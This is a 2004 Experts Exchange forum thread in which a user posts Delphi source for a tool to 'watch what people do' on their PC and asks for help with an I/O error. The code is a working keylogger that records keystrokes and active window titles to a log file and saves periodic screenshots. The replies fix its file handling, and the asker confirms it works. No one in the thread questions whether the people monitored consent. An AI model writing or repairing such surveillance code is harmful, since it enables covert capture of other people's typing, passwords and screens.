?
Solved

Please check my code

Posted on 2004-09-25
3
Medium Priority
?
525 Views
Last Modified: 2010-04-05
Could somebody tell me whats wrong with this code? Im tryng to make an app to watch what people do in my pc but it gives me an error like this: "I/O error 103."

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, JPEG;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    Timer2: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
Calidad=20; {cambiar esto}
Dir='C:\';
var
  Form1: TForm1;
    Current_App: String;
implementation

{$R *.dfm}
var  F:Textfile;




procedure TForm1.Timer1Timer(Sender: TObject);
var x: byte;
handler:THandle;
caption: Array[0..80] of Char;
begin
for x := 8 To 255 do
begin
if GetAsyncKeyState(x) = -32767 then
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption,80);
if (caption<>Current_App) and (caption<>'') then
begin
Current_App:=caption;
memo1.Text:=memo1.text+#13#10+'['+caption+']-['+TimeToStr(Now)+']-['+DateToStr(Now)+']'+#13#10;
end;
case x of
8  : memo1.text:=memo1.text+'[Backspace]';
9  : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10;
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' ';
46 : memo1.text := memo1.text+'[Del]';
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'='
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'·'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'/'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'9';
 65..90 :
            begin
            if Odd(GetKeyState(VK_CAPITAL)) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(x))
                else
                   memo1.text:=memo1.text+UpperCase(Chr(x))
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(x))
                else
                    memo1.text:=memo1.text+LowerCase(Chr(x));
            end;





        96..105 : memo1.text:=memo1.text + inttostr(x-96);
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'+';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'`';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'+';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+';'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'ç'
             else memo1.text:=memo1.text+'Ç';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'Ñ'
             else memo1.text:=memo1.text+'ñ';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
             else memo1.text:=memo1.text+'219';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+''
             else memo1.text:=memo1.text+'º';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¿'
             else memo1.text:=memo1.text+'¡';
222: If GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¨'
            else memo1.text:=memo1.text+'´'

             end;



end;
end;
end;


procedure TForm1.Timer2Timer(Sender: TObject);
const
ScreenDir=Dir+'Capturas\Capturas de Pantalla';
KeylogDir=Dir+'Capturas\Capturas de Teclado';
var
DeskHWnd : Hwnd;
dc: HDC;
ScreenWidth, ScreenHeight: Integer;
TheBmp : TBitmap;
jpeg1 :Tjpegimage;

Directory_Name,File_Name:String;
begin



        Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}


        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);




DeskHWnd := GetDeskTopWindow;
dc := GetDC(DeskHWnd);
ScreenWidth := GetDeviceCaps(dc,HORZRES);
ScreenHeight := GetDeviceCaps(dc,VERTRES);
TheBmp := TBitmap.Create;
TheBmp.Width := ScreenWidth;
TheBmp.Height := ScreenHeight;
BitBlt(TheBmp.Canvas.Handle, 0,0,ScreenWidth,ScreenHeight,dc, 0,0,SRCCOPY);
Image1.Picture.Bitmap := TheBmp;
Application.ProcessMessages;
Jpeg1:=TjpegImage.Create;
jpeg1.Assign(Image1.Picture.Bitmap);
jpeg1.Smoothing:=true;

jpeg1.CompressionQuality:=Calidad;
Jpeg1.compress;

Directory_Name := FormatDateTime('dd-MM-yyyy', Now);
File_Name := FormatDateTime('HH.mm.ss AM/PM', Now);

system.MkDir(ScreenDir+'\'+Directory_Name);
Jpeg1.SaveToFile(ScreenDir+'\'+Directory_Name+'\'+File_Name+'.JPG');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
system.MkDir(Dir+'\Capturas');
system.MkDir(Dir+'\Capturas\Capturas de Teclado');
system.MkDir(Dir+'\Capturas\Capturas de Pantalla');
end;

end.



All this code is been copied from a bigger project I had in order to make it easier to notice the error but it still gives me trouble.
0
Comment
Question by:manganzon
[X]
Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people just like you are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
3 Comments
 
LVL 17

Expert Comment

by:mokule
ID: 12152030
Hi,
       Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}
        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);

If File not exists You close it and then try to write to it
0
 
LVL 17

Accepted Solution

by:
Wim ten Brink earned 1000 total points
ID: 12152545
@mokule, how suprising it might seem, that code might actually work. :-) What he does if the file doesn't exist is creating it, closing it and then appending to it. Since it exists, it should actually work! (But it's a dirty trick.) It would be better to just use:

  Assignfile(F, Name);
  if FileExists(Name) then begin
    Append(F);
  end
  else begin
    Rewrite(F);
  end;
  Write(F,Memo1.Text);
  Memo1.Clear;
  Closefile(F);

But do you know why you get the error? A wrong filename has been provided! I think the folder "C:\Capturas\Capturas de Teclado\" does not exist or could not be created... The problem might also be related to the usage of the {$I+} directive. With IO checks turned off, IO errors could be checked by checking the value of IOResult. This should be 0 after Rewrite(), Append() and Write()... If turned on, IO errors will raise exceptions. And since the project might have been compiled with IO checking set to false in the project options, it will just start raising exceptions AFTER it is turned on. Which is the WriteLn statement.
0
 

Author Comment

by:manganzon
ID: 12153572
Thank you, i really needed this, now it works fine. :)
0

Featured Post

On Demand Webinar: Networking for the Cloud Era

Ready to improve network connectivity? Watch this webinar to learn how SD-WANs and a one-click instant connect tool can boost provisions, deployment, and management of your cloud connection.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

The uses clause is one of those things that just tends to grow and grow. Most of the time this is in the main form, as it's from this form that all others are called. If you have a big application (including many forms), the uses clause in the in…
Introduction I have seen many questions in this Delphi topic area where queries in threads are needed or suggested. I know bumped into a similar need. This article will address some of the concepts when dealing with a multithreaded delphi database…
In this video, Percona Solution Engineer Dimitri Vanoverbeke discusses why you want to use at least three nodes in a database cluster. To discuss how Percona Consulting can help with your design and architecture needs for your database and infras…
In this video, Percona Solutions Engineer Barrett Chambers discusses some of the basic syntax differences between MySQL and MongoDB. To learn more check out our webinar on MongoDB administration for MySQL DBA: https://www.percona.com/resources/we…
Suggested Courses

771 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question